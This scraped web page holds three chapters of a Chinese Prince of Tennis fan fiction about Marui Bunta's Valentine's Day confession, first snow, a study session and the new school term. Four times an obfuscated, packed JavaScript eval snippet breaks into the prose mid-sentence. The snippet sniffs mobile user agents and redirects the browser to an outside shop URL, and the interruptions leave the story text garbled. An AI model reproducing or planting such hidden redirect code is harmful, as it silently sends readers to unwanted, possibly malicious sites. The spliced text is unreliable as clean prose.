“场外因素导致我的反应速度下降3.14%……”柳莲二如此念念有词着,长及肩头的中长发随风轻轻飘动。丸井文太正好用手臂夹着球拍从他背后路过,觉得要是不熟悉的人看到柳的背影,说不定会以为他是个非常优雅高挑的知性女生吧,因为直发经常会给人带来一种娴静聪明的温柔印象。 那莫非就是传说中的背影杀手? 丸井文太想到万一有人误会的场面,类似于不认识的男生不小心对柳莲二一见钟情的乌龙事件,没忍住用袖子挡住嘴巴偷偷笑了两声,又在柳莲二听见动静疑惑看来的时候勉强绷住表情,装成自己很忙的样子找个地方做发球练习。 他没有想到那样的事件会发生在自己身上,而且还不是认错性别导致的意外。 上午的第二、三节课之间有二十分钟的休息时间,文太平常都会利用这段时间去福利社买零食补充晨训后消耗见底的糖分。不过今天的情人节礼物已经将他课桌里塞得满满当当,他自然也乐得窝在温暖的教室里吃巧克力。后来文太被别班同学叫出去时,脸上仍带着些不情愿,还是念在对方说有要事需要单独告知,耐不住好奇心才跟了过去。 他插着兜走在那位几乎要同手同脚的同学后面,脑海中漫无边际地猜测着什么秘密才有必要这样郑重其事,然后在屋顶庭园上,被同为男性的同学告白了。 “咳、咳咳——” 文太在错愕中吹炸了泡泡,还不小心岔了气,在冷风中狼狈地咳嗽了两声,抬头的时候脸颊因气息紊乱而微微泛红,露出难以置信的眼神。 “你、你搞错了什么吧……” “没有,我是真心喜欢丸井君的!” “不不,肯定有什么地方搞错了吧。”丸井文太尴尬地摆了摆手,隐蔽后退了一步,难得以口齿伶俐见长的他都开始语无伦次,“那个,我和你同一个性别,去厕所都走同一边,你有的我也有……” “我不在乎这些……”对方低下了头,声音却坚决得倔强,“丸井君为什么不给我机会呢?难道是觉得男生就讨厌吗?但你明明跟桑原同学就能做到那么亲密……我有自信做得比桑原同学更好,丸井君想要点心的话我每天都可以毫无怨言地买给你!我不缺钱的,限量的蛋糕、酒店自助餐的招待券、还有高级餐厅的预约,就算是你一贯那种从朋友开始做起的回答也好,只要你放弃桑原同学,选择我,这些我都可以为你做到。” “……” 寂静的天台上,很久都没有人发出声音。 直到对方受不了沉默抬起头,丸井文太才收回凝视过久的视线,微微移开脸,手指挠了挠脸颊,无奈问:“我说啊,能问一下……你到底是喜欢我哪里吗?” “因为丸井君很吸引人……我自己也没法说得很清楚,就是一不留神,就情不自禁地开始关注你了。” 文太双手抱臂,认真点头:“原来如此,还有吗?” “而且你无论什么时候看起来都游刃有余,从来都不会给别人带来烦恼,反而能让大家都开心起来。” “确实啊,这完全不能否认啊,因为我很天才嘛。” “我去看过丸井君在网球部的练习,打球的时候也很帅气。” “哦哦,那你还挺有眼光的。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16811384|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “每次班里举办活动的时候都很活跃,被大家围在中心也不慌不忙,能够信手拈来地调节氛围,把每个人都安排得井井有条。” “那也是因为我是天才。” …… “嗯,所以。”听够了恭维话的丸井文太若无其事地做出总结,“你那么喜欢我这些特质的话,大可以向学习我的方向努力,没必要非得想成为那种关系吧。” “不一样的。”对方说。 迎着文太微微惊讶的眼神,他忍不住涨红脸,嗫嚅道:“我对丸井君的喜欢……是一种有独占心的感情,想和你关系最好,是其他人都比不上的那种,而且丸井君长得也很好看,我会想对你……” 后面的话似乎是因为不好意思而无法说出口,当然丸井文太也没有非要对此刨根问底的兴趣。 他嚼了嚼嘴里的口香糖,吹出一个泡泡,在习以为常的动作中拾取平静。 具有独占欲的喜欢啊。文太垂下眼帘,要他说心里话的话,他觉得那是一种充满孩子气的幼稚言论。 因为丸井文太是家里的长子,能独享父母爱意的年月也只有在第一个弟弟降生之前,但他从来都不觉得弟弟们夺走了自己任何东西,因为他能感觉到爸爸和妈妈依旧是非常深爱着自己的,而他也在弟弟用小手握住自己小指头的那一瞬间,心中涌出多到仿佛无限的爱怜和保护欲。 对他来说,感情从来都不是非此即彼的。就像父母对文太的爱永远不会因为弟弟的存在而削弱,他对弟弟的爱也是从弟弟的降生之后才开始萌生,因此对不同人的爱是能够独立共存,也是依托于自己人生中相遇的、每个绝无仅有的个体,才会对应存在的感情。 “总之情况我是了解了。”他说,语气不算很郑重,但也与一贯的轻浮随性毫不沾边,只是用比较平淡的声音接着道,“答复就先说结论吧——抱歉,我不能接受。” “为什么?!” “就是不喜欢啊。”文太笑了声,但看在对方大受打击的样子太可怜,又收敛了些,咬着泡泡含糊说,“而且我也做不到那个……专一的感情,不可能只为了一个人就忽视其他对我很重要的人。你放弃我吧。” 还有一个理由丸井文太没有说出口,那就是他不会明知一个人可能对杰克心怀敌意,还接纳对方走进自己的生活圈,所以最好是不要再有交集了,连成为朋友的可能性也不给,这次回绝的话语前所未有地没有任何回旋余地。 觉得再待在这里也只能徒增尴尬,他说完这句话就转身想走,不料对方情急之下竟然伸手就要扣住他的肩膀。 “等一下,丸井君——” 丸井文太反射神经极强,轻轻闪身就精准避开了对方伸来的手。 “我说你差不多适可而止吧,来硬的你也奈何不了我……”文太露出有些不高兴的表情,他可是月休两日的网球部正选,要比手脚功夫可不会输。 正当那人还不放弃想要继续纠缠的时候,一个轻柔的声音突然响起,让在场二人都僵在原地。 “文太?” 他们的位置在屋顶庭园一个较为隐蔽的角落,周围都有植物遮掩,但对方似乎是从枝叶的缝隙间发现丸井文太那头非常显眼的红发,还听见了他微怒之下拔高的声音,这才被吸引了过来。 绕过一面被花藤攀爬缠绕的木架,幸村精市眉梢轻挑,瞧着那疑似发生争执的现场,目光转向声音瞬间卡壳的丸井文太。 “看起来我来得不是时候。” 他面上虽然仍是往常一般温柔的美丽笑容,眼睛里却并无笑意。 35.File 34 春雪 情人节是女孩们向心仪之人表达好感的重要之日,只是幸村精市目前无心在此,所以只能委婉而坚定地回绝所有邀请。 他对自己的人气有所自觉,在这种日子,无论他待在何处,都很容易被许多带有倾慕意味的视线明里暗里观察甚至打量。虽说没有造成实际方面的打扰,但这样在人群中待久了,也是会让他感觉到集中力被破坏的烦恼。 二月的湘南依旧寒冷,天色灰白,云雾迷蒙,冷风呼啸,不间断地摇晃着教室的窗户。幸村漫不经心地听着课,目光长时间停留在玻璃窗外发颤的干枯枝桠。 偶尔闭上眼睛,就能听见风的凄厉空响,钻到耳中的时候又像很顽强的临终病人在发出呜咽,百花凋零的季节究竟还要多久才会过去呢。 他等到下课铃响就合上书本离开教室,同学们对他日常串班去找真田和柳讨论网球部事宜的行为也早已司空见惯,殊不知幸村这回只是想去天台看一眼他照料的花。尽管现在茎杆柔弱,连叶子也很稀疏,却因为寄托了部员们的心意,一直是他心中意义非凡的存在。 走到顶层,幸村意外地发现仁王也在。在这寒冷天气蹲在室外可不符合对方那不耐极端气温的慵懒习性,幸村很快注意到他默默啜饮着热咖啡的动作,察觉到仁王似乎也对自己目前的处境颇为无可奈何。 他和文太平日都是网球部中极受女生喜爱的球员,不过与社交手腕颇为灵活的文太不同,仁王在筛选好友的时候往往体现出谨慎的一面,会有意规避旁人纷扰,当下他应该是被情人节的特殊氛围追在身后,不得不在课间躲到冷得人迹罕至的楼顶吧。 幸村精市的推测只说中了一半。 仁王雅治非常敏锐,在他推开天台大门的第一时间就反射性地看了过来,目光中有些不同往常的东西。幸村精市眼神柔和地对他微微颔首,正要打声招呼,却发现当对方瞧见自己的时候,脸上忽然浮现出个微妙非常的笑来,食指抵在唇前,示意幸村不要发出声音。 有趣的事情出现了。 那双溢满狡黠的浅绿眼睛似乎在这么诉说。 幸村精市其实怀疑自己也是被仁王视作“有趣”的成因之一,奈何他也颇为好奇对方故弄玄虚的缘由,因此,当仁王比划手势指引他从另一条路进入屋顶庭园时,幸村精市向他递去一个意味深长的眼神,而后依言走去。 “我做不到那个……专一的感情……” 在花架的掩蔽后方,丸井文太的声音若有似无地飘到幸村精市耳中,随后是那边二人逐渐走向失控的争执动静。 原来如此……仁王那家伙。 幸村精市动了动眼睫,眸底流光暗转。 连我都敢利用,这家伙是不是太胆大妄为了?幸村心里浮现出有些危险的念头,同时却也如对方所愿,毫不犹豫地迈出步伐,唤出丸井文太的名字。 明知眼前是陷阱却依然跳下去,全因他有恃无恐。 而在听到他声音那瞬间立刻仓皇抬头的丸井文太,挡住眉目的红发从前额滑开,从阴影中浮现的紫色眼睛微微睁大,瞳孔深处泛出一丝不知所措,就像林中一只受惊的鹿,慌张得非常可爱。 事实上也不需要幸村精市刻意帮丸井文太解围,因为当那人看到他的一刻,对方肉眼可见地六神无主,胡乱道了个歉就匆匆离开。毕竟丸井文太是众所周知的好脾气不假,他的部长幸村精市却是温柔与强势并存的领袖型人物,再胡搅蛮缠下去无异于自寻死路。 被撞破了尴尬场面,丸井文太心里有些不自在,但在看见幸村精市走去长椅坐下的时候,他还是很老实地跟过去坐在旁边。 “唉,幸村君听到了多少?”他用一种听天由命的语气问。 “不知道呢。文太是希望我什么都没听见吗?” 以反问来回答提问啊。丸井文太烦恼着扁了一下嘴巴,用身边人听得见的音量嘀咕说“幸村君真坏心眼”,结果就听到对方毫不掩饰的笑声。 好吧,稍微出点糗让幸村君高兴一下也是不错啦……文太鼓了鼓脸,伸长了腿,用鞋跟敲着地面,两手搭在脑后,很放松随便地靠在椅背上。 他眼睛漫不经心地瞧着前方的虚处,微张的唇隙间吹出一个青绿色的泡泡。 “随你喜欢吧。”丸井文太的回答意外地爽快,语气倒也是蛮帅气的,很快让幸村精市察觉到对方性情中某些异于常人的地方。 心思过于细腻的背面就是总是会下意识去关照其他人的感受,说不定以后会很让人烦恼呢……无论对喜欢他的人,还是对他自己而言。这就要看哪一边能掌握主导权了。 幸村如此想着,忍不住笑了笑:“文太才是,平时可以更任性地伸张自己的意愿哦。当然了,要用可爱的方式。” “什么啊……我一直都很可爱。” 小声咕哝的家伙显然早已对自己受欢迎的程度心知肚明,甚至平时都自信心高涨到爆棚,这么抱怨不过是因为忽然有点害羞而已。总觉得,幸村君温柔的话语让他心尖发痒,有一种被宠着的感觉,好像再多撒娇一点都会被包容。 随着心跳的怦怦震响,他们周身的沁凉空气也仿佛变得宁静下来,天地笼罩在一种遥远而朦胧的氛围中。 就在这个时候,丸井文太忽然感到鼻尖微微一冷。 他眨了眨眼睛,抬起了头,发现天上飘起洁白的雪絮,纷纷扬扬着飘洒四散,转瞬间就将立海校园模糊成了清冷幽寂的雪白模样,凝冰的枯枝上挂上薄薄一层飞雪,像在预演着一季花开。 “幸村君你看……是初雪啊。” 文太下意识伸手去接,小小一片的雪花落在掌心,纤细得能看清六瓣针晶。 立海所在的湘南地处临海,受此影响,初雪通常比东京晚两个月,每年的雪季仅有一个月左右。加之气候湿润,这里的雪也不像札幌的粉雪那般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818214|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蓬松柔软、富有趣味。 尽管如此,飒飒白雪从天空飘落下来的景色仍是十分美丽,轻盈而飘忽不定,恍如梦幻易碎的风中之花般惹人怜爱。 “真开心啊。”他说。 幸村的瞳孔中倒映着他不加掩饰的笑容,好奇问:“文太喜欢雪吗?” “喜欢啊。”丸井文太轻快地眨眨眼睛,睫毛扑闪,接着用调皮语气玩起一个谐音游戏,“喜欢雪,也喜欢幸村君。” 因为雪的读音是Yuki,幸村的姓氏读音是Yukimura,念起来只有音调的细微区别。 “这样啊。”幸村精市扬起唇角,眉梢一扬,故意唱反调似的调侃道,“那可能碰起来有点冷哦。” “我很暖和所以不怕啦。” 丸井文太很得意地伸长手臂,用温热掌心贴上幸村侧脸微凉的皮肤,暖乎乎的体温就像是小孩子一样,倒也能证实对方每天摄入的过量糖分确实都有在高效率地燃烧和消耗掉。 他收回手后站起身,两手叉在腰上,左右环视周围逐渐覆上雪色的花架,笑着道:“我祖母以前告诉我说,下雪代表着接下来一年的作物将迎来大丰收,是个好兆头。幸村君照料的花也一定会开得很好的。” “呵呵,我也希望如此。” 有时候幸村精市也会惊讶于丸井文太的细心,他明明从未告诉过对方自己是因为担忧这些花才上楼查看,对方却能够敏锐地体察到他的心情,甚至这一切只是在无意识中做到。 倘若他开始有意识去只关照一个人…… 难怪那个人会产生不切实际的妄想。 幸村很清楚自己这一瞬的念头有多严厉,眼底走过一丝冷冽的锐光,但他们既然生存于力争上游的立海,天才必然目无下尘,视野指向更高的巅峰,凭实力去争取自己想要的一切。无论对事还是对人,无理取闹的纠缠都绝不可取。人若失去傲骨,不再自尊自爱,在他人眼中的形象也会变得不堪造就。 他们在预备铃响时才一同走下楼去,丸井文太把手插进裤兜里,慢悠悠吹着泡泡跟在幸村精市身后,但在关上天台大门之前,他鬼使神差地回头瞄了后方一眼,眉间轻轻蹙起。 通常来说,来到楼顶的人要进入屋顶庭园,应该更倾向于走直面大门的前方小路,而且从前方进入的话,他所在的那个角落就能在被人听见声音前看到有人接近。 然而幸村君却是路线从更绕一些的后方小路走近,导致他没能提前察觉幸村君的到来。 是临时起意?还是—— 丸井文太的紫眸静静扫过目前空无一人的花架后方,那也是他的视野死角,而且既能够听见里面声音,也能够随时观察门口是否来人,简直是个绝佳点位,要是先前有人躲在那里并给幸村君通风报信……哈,怎么可能。 他轻轻一哂,越想越觉得这个猜测太过被害妄想,摇了摇头,赶紧下楼去上课了。 36.File 35 早樱 在校园正门口的道路两侧栽种樱花树应该是日本很多学校的传统,年复一年,在樱花盛开的季节送别毕业的学生们。 网球部在三月初为部长幸村举办了热烈的庆生party。部活结束后,大家去卡拉OK,争先恐后地大唱一通,还有人自诩精心准备了节目,画面如百无禁忌的群魔乱舞,而且部分参与者的唱功已到鬼哭狼嚎、让人不堪入耳的地步,连好几位从去年底就因为备考而鲜少出现的三年级学长也参与了进来,大概是把这当成部员们最后一次相聚玩闹的机会了吧。 “啊哈哈……” 连幸村精市面对此等夸张场面,也只有苦笑的份儿,只好乖乖地拿起三角铁给完全玩嗨了的学长们伴奏助兴。 大概是因为平时面对既是部长又是后辈的幸村,学长们不由自主想让自己表现得更为可靠,所以这次幸村难得瞧见许多给他稳重印象的学长展现出不太着调的罕见一面,心中也是感慨良多。 毕竟他自己去年才刚经历过小学的毕业式嘛,对此多少能有一些共鸣。 从去年夏天他们夺得全国优胜以来,后半年的时光似乎走得越来越快,转眼网球部就将送别接近三分之一的成员,到最后数周,连球场看起来都变得比往日空旷不少。幸村在部内会议中将由原校队正选担任的部分训练和指导工作分配给文太、杰克等人,连一贯懒散的仁王也毫不推脱地接下任务。当幸村笑着说“往后要辛苦大家”的时候,他所看重的队友们也认真地点了点头。 过了不久,樱树枝头的花苞绽放开来,立海三年生迎来毕业,而他们的一年级生活也走向尾声。 三月下旬开始为期两周的春假,除了网球部中一如既往的训练和练习赛,文太因为跟幸村、柳生都是法语课同一小组的成员,为了合作完成假期的课题作业,三人还决定在柳生家里举行学习会。 有学神在场,作业应该会很轻松吧。文太吹着泡泡跟在幸村身侧,因为觉得时间充裕,还带了点其他没做完的科目作业在书包里。 他们登门拜访时看到了在家里依旧衣着考究的柳生,整洁的白衬衫外搭一件法兰绒的平纹灰色马甲,笔挺的西裤尤显腿长,文太不禁在心中感慨绅士不愧是绅士,任何时刻都一丝不苟,并注意到走廊另一侧有个紫色长发的女孩正小心地探头看来,秀丽五官与柳生隐约有些相似,看起来应该是对方的家人。 丸井文太发现对方将目光停留在自己的脸庞,便轻快地眨眨眼睛,回了一个俏皮的wink。 待一行人走到柳生自己的房间,打开屋门,便看见还有一个熟人早已先他们一步在此做客。 “仁王?”丸井文太眨了眨眼睛,把包放在方桌旁,然后坐下来,“你不是学德语的吗?凑什么热闹呢。” “正巧来写作业而已……piyo。”仁王懒洋洋地打了个呵欠,面前摆着一本国文的阅读作业。 丸井文太对此非常理解。毕竟柳生是全科高手,跟他一起,想问任何题目都很方便。于是他也心安理得地从包里掏出一本写了一半的数学作业。 “那我们可能会有点打扰你哦。” 面对幸村微带歉意的提醒,仁王只是无所谓地轻轻摇头,笑着说了声“没事”,而后起身轻车熟路地去拿饮料,看样子简直如同身在自己家一般从容自在。 柳生家的佣人很快为他们端来待客的自制蛋糕,丸井文太先切了一块来吃,脸上浮现出幸福的红晕,开心得整个人周身的氛围都好像有小花冒出似的。学习会这种活动嘛,其实跟好友间的闲聊聚餐是密不可分的。 他咽下蛋糕,好奇地问:“对了比吕士,我刚才看到一个和我们年龄差不多的女孩子。你家有几个人?” 柳生微微一笑:“五个人,祖父,父亲,母亲,还有我和妹妹。丸井君刚才看到我妹妹了吗?” “嗯!很可爱哦。”文太说,“不过看到我们以后很快就跑开了,是不喜欢家里来陌生人吗?” “哈哈,真是不好意思,她有点怕生,其实平时都很讲礼貌的。”柳生看起来有些歉疚,随后他停了一下,轻声道,“我妹妹下个月也会升学到立海读书,她性格比较内向,还要拜托你们遇见的话能稍微关照一下。” “包在我身上吧。”丸井文太用他一贯的爽快语气一口应下,他吃完了蛋糕,仍旧意犹未尽地用牙齿轻轻咬着塑料叉子,随着说话上下晃动,“说起来你们好像都有异性的姐妹?平时相处起来是什么感觉?” “唔……需要好好保护吧,我会在我力所能及的范围努力实现她的心愿。”这是妹妹还在上幼稚园的幸村精市。 “因为存在一些思维习惯方面的差异,我有的时候会发现自己难以面面俱到地照顾到妹妹的心情,所以觉得自己还需要加油。”这是妹妹马上要读中学的柳生比吕士。 “很难一言说尽……总之平常把她当成自己需要供奉的女王就对了。”这是姐姐已经是高中生的仁王雅治。 仁王说完像是回忆起了什么令他极为头疼的画面,有气无力地趴到桌上,抬手揉了揉太阳穴。他过了一会儿发觉周围安静得出奇,奇怪地睁开眼,就看见除了幸村,另外二人都用幸灾乐祸的怜悯眼神瞧着自己。 “pupina。”他发出一个意义不明的声音。 丸井文太眼中若有所思的神色一闪而过,他对旁人情绪的感知太敏锐,此刻却反而觉出一丝不解。为什么他觉得无论是幸村君还是仁王柳生,在谈及家里姐妹的时候,似乎都隐隐约约带有一丝较为克制的距离感? 是由于性别差异吗?他对自家弟弟倒一直是随便搓扁揉圆的,弟弟们有什么小情绪他也都能够照单全收并轻易化解,如果换成妹妹就没办法那么无话不谈了么……唔,好难想象。 丸井文太越思考越是困惑,轻轻皱起了脸。为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822333|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了消解这份纳闷,他伸手又拿起一块蛋糕,大口吃了起来。 他们的小组课题是研究法国时尚品牌的高级定制,三人商讨选定了用于取材的时尚秀场,由柳生比吕士负责收集和翻译相关的资料报道,幸村精市分析服装所表达的美学艺术,丸井文太撰写相关创新设计的应用启示。鉴于在课上做小组展示的时候是由每个人各自介绍自己分工的部分,所以他们还需要准备自己的发言稿。 水笔在纸页上书写时发出沙沙的声响,文太手边摆着一本字典,慢吞吞地边查单词边写,遇到实在不会表达的句子就拽一下旁边柳生的左手袖子询问。 一缕不听话的鲜红发丝总是从侧颊滑到眼前,他先是随手拨到耳后,后来嫌麻烦就用发卡夹了起来,立海黄的星星图案很有童趣,与他甜美标致的脸庞搭配起来相得益彰。 前几天网球部的参谋柳莲二把他标志性的及肩中长发剪短到只能触及耳际的长度,原因似乎是认为长发导致他反应迟钝,丸井文太觉得他短发的样子比原先更有男子气概,加上这阵子林林总总遇到的一些微妙烦恼,最近也在考虑为了改变心情而去效仿。 脑海里漫无边际地想着一些无关紧要的琐事,文太写完最后一个段落,放下笔伸了个懒腰。 小组课题这类的大作业,做之前会让人觉得是个浩大无比的工程。但只要大家把各个环节合理分工,并且每个组员都能认真完成自己的部分,其实也就不过如此。 搞定正事后他就开始写前期一直拖延的数学作业,丸井文太面对不喜欢的科目时很难维持专注力,没过一会儿就忍不住吹着泡泡左顾右盼,瞧见仁王雅治面对阅读题哈欠连连的动作,红色脑袋悄悄凑了过去。 “这段赏析你可以这样写啊……” 文太一阵嘀嘀咕咕。对他来说,读懂作家的写作意图可比解析那些方程式和函数要简单多了,国文一直是他的强项科目。 仁王当即爽快地依言把答案填满横线,然后也礼尚往来地看了眼文太的作业,将他面前那道数学题的关键步骤给点了出来。 “Thank you!顺带帮我把这题也解下。” “那你也帮我编这篇文本续写。” 文太和仁王说话的声音不大,若不凝神细听都无法知晓他们讨论的内容。当柳生从资料文献中分出注意力时,就看见那二人有来有往地交换着答案,以及幸村正饶有趣味地托腮旁观他们火速达成合作战线的和谐画面。 丸井文太和仁王雅治,一个是感性思维,一个是理性思维,从表面看来,他们的思考习惯泾渭分明,性情也是水火不容,实际当他们将自身长处发挥到极致,隐约又能展现出优势互补的一面。 话虽如此—— 柳生比吕士默默地托了一下眼镜,镜片折过一道雪亮的白光。 “仁王君,丸井君。”他说,“作业要自己写才可以哦。” 37.File 36 开学 一缕细软的红发轻飘飘地落到地面。 理发师从身旁退开后,丸井文太凑近镜面,眼中映出自己将头发剪短的样子,因为鬓角的发梢变得很短,怎么说呢,好像气质上确实变得更清爽一点? “不用担心,你这样大概三个月左右就能长回来了。” “为什么会以我还要留长头发为前提来评价啊……”文太无奈地抱怨了一句,注视镜子的眼珠稍微移向理发师,就看见对方露出一副说漏嘴似的失策表情。 “因为啊,你不就是正处于那个吗,正统的中二期少年。”理发师小哥用过来人的口吻和蔼道,“哥哥我期待着你回心转意的一天哦。” “所以说,为什么觉得我剪短头发就是想不开啊!” “因为我见多识广。”理发师说,“一般人要换发型,都是为了对原来的自己不满意对吧?” 他见丸井文太迟疑着缓缓点头,脸上扬起一抹明亮的笑容。 “重新做人的最小单位是洗澡,而再进一步、更具象征意义的阶段就是理发了。每个人的日常都存在惯性,要改变现状是需要决心和勇气的。想要变得更受欢迎,或者是把这当作摆脱原有处境的好兆头,才会促使一个人产生这样的觉悟。你这张脸很显然不需要为前者烦恼,所以我推断你前阵子遇到了让你烦恼的事情,不过这事对你的精神实质上影响不大,所以你只是用稍微修剪头发的方式来调节心情。” 先前被同性别的人当成女生喜欢……这算烦恼吗?况且听那个人的说法,好像也不全是因为长相。 丸井文太下意识地微微张开嘴唇,又迅速抿紧,陷入谨慎的沉默。 要说自己因为性格受人欢迎的话,无论怎么说都算不上烦恼吧。只是,丸井文太心里仍存在微弱的不解。为什么会有人对自己寄托那些明知注定无法实现的期待,就算外表有一时错认的可能性,自己也不可能给予对方未来,何必还要再进一步强求更多。 简直像狂热分子执着地引火自焚,明明很清楚自己会被灼伤,还要把脑袋扎进火堆里。 又轻率。又荒诞。 正常人都不会那么执迷不悟吧。 他站在原地,看着理发师转身拿扫帚清扫地上的碎发,脸上不自觉地流露出一副欲言又止的神色,又听见对方玩笑着说:“等真遇到什么封心锁爱的变故,想要彻底改变自己的话,也可以考虑找我把头发染成蓝色哦,你的眼睛颜色搭配冷暖色调都很合适。而且我能赚更多钱,这是重点。” “喂喂,不要为了一点小钱就诅咒你的忠实顾客啊。”丸井文太狠狠吐槽,过了一会儿,他闭了闭眼睛,缓缓地吐出一口气,背过身朝理发师摆了摆手,“蓝色还是算了,和我作风不搭……而且,我喜欢红色,这是不会为任何人改变的。” 无论是他的生活方式,还是别的什么,都不例外。 丸井文太付过钱后走出店门,双手插兜站在种满了樱花树的长街边。虽然风中犹带寒意,但初春的气息已悄然而至,晴朗的光线为樱花粉白的花瓣勾勒出一圈浅淡的光边,空气里每一颗粒子都散发出朝气蓬勃的清新气息。 他抬起纤长眼睫眺望向远处,天光明媚,春日的秀丽色调柔和地笼罩在他精致白皙的脸庞。 时间过得真快,接下来,就是他作为立海二年生的生活了。 4月8日是开学日,由于大家早上都要忙于重新分班和整理教室的工作,网球部的晨训自然取消。丸井文太难得悠哉地与杰克·桑原一同踩点来到学校,并在校门附近围观了一桩小小的热闹。 “从今天开始,我就是立海大附属中学的一年级学生了。” 一个小小的海带头男孩站在校门上方,斗志昂扬地慷慨陈词。 “我要在这个学校,加入全国第一的网球部,然后成为No.1!” 远远观望着那嚣张小子很快被老师赶下校门的出糗现场,不仅文太扑哧一下笑出了声,连杰克也忍不住扶额汗颜。自从升学到立海就读国中,他们已经很久没见过那么具有笨蛋气质的人了,毕竟还有入学分数线的筛选摆在那里。 “文太,我听见那家伙说要加入网球部是吧?” “说了呢。” 他们对视一眼。 不同于露出头痛神情的杰克,文太倒是表现得兴味盎然,毫不掩饰自己打算看乐子的兴趣。而且他注意到那个一头乱发的新生背着网球包,估计以前就学过网球。有基础的新部员自然比对网球一窍不通的新人好带,入部后半途而废的概率也更低,他们更乐于遇到这样的新人。 “下午要是遇到的话再观察吧。”丸井文太轻松说,杰克一贯听他做决定,默默点头,随后二人一同走进校园。 无论是新生,还是在校生,到校园第一件事都是到各自年级所在的公告区域寻找分班信息。一大堆人挤挤嚷嚷地围在公示板前面,嫌麻烦的丸井文太独自悠哉地站在人墙后方,嚼着口香糖吹出一个泡泡。 过不了多久,杰克费劲地推开附近的同学,艰难从人群中挤出。 文太一见他的表情心里就有了答案,站在原地歪了歪头,果见发小高兴地说:“文太,我们今年也是同一班级,是C班。” “喔!那可太好了。” 他们有说有笑地前往新班级,路上遇到柳生,听说了他和仁王也在同一班级。虽然对方用苦恼口吻说“真是孽缘”,但文太早已听出柳生声音深处的愉悦。 他嘴上没有揭穿对方,内心却忍不住一阵腹诽。 这位绅士先生,果然还是一如既往的不老实。 开学第一天的日程比较简单,学生抵达教室后,班主任组织召开班会,学生按座位顺序自我介绍,分发课本,竞选班委,然后分工打扫卫生,一切流程很早能够结束。其后就是11点准时在海友会馆召开的开学典礼,校长及理事长致辞,在校生代表发言,新生代表发言,以及校歌介绍。因为立海是重视传统的学校,所有流程都与去年别无二致,连校长的讲稿都和上次大同小异,丸井文太很快就听得呵欠连连。 闲极无聊之下,他忍不住左顾右盼,很快便注意到了自己斜前方的一年级坐席中,有个明显朝天仰起脸庞,已经睡得不知天地为何物的乱发新生。从这个角度,他甚至能看到对方嘴角淌出的口水,侧脸可见的面庞也很熟悉,正是清晨在校门口大放厥词的那个No.1新生。 丸井文太轻挑眉梢,眼神变得微妙,他都有点佩服对方的粗神经了,居然连开学式上都敢这么肆无忌惮。毕竟连后面二、三年级的学生都还在乖乖听讲呢。 这么放任思绪发散了一会儿,他心里忽然生出一计,借着低头绑鞋带的动作,丸井文太动作迅捷地把那海带头新生的鞋带绑在对方所坐椅子的后腿。因为学生这边的座位排布很密,所以连他身边的杰克都没有察觉到这番小动作。 俗话说,人在干坏事的时候,向来不嫌麻烦。 重新坐直身体的丸井文太神采奕奕,精神焕发的模样与先前截然不同。 他耐心地等待冗长的发言结束,到全体学生合唱校歌的环节,周围学生起身的动作终于惊醒了那个不着调的新生。 丸井文太的紫眸调皮注视着他手忙脚乱起身的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16827394|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动作,随后,不出所料,绑在椅腿的鞋带扰乱了对方的身体平衡。伴随一声惊慌失措的大叫,海带头男孩连人带椅子一同扑进前方其他新生的人群中,多米诺骨牌效应瞬间显现,前方一大片学生顿时东倒西歪,众多抱怨与吵闹的声音瞬间充斥着空旷的礼堂。 “咦?欸?怎么回事?!” 陷在人堆中的海带头满脸不解,只能茫然又焦头烂额地任由身体陷在一众哀嚎呼痛的同学当中,还时不时挣动一两下试图起身。由于身后还绑着椅子,他屡次动作都莽撞地痛击周边他人,反而导致情况越来越糟。 就在这时,一只手从后方勾起他的手臂,把他从人堆里捞了出来。 “你没事吧?” 对方移开一直压在他身上的座椅,帮他站稳身体,好像很习惯和擅长照顾人似的,眼神利落地将他全身都扫视检查了一遍,然后用娴熟动作拍了拍他制服上沾到的灰尘。 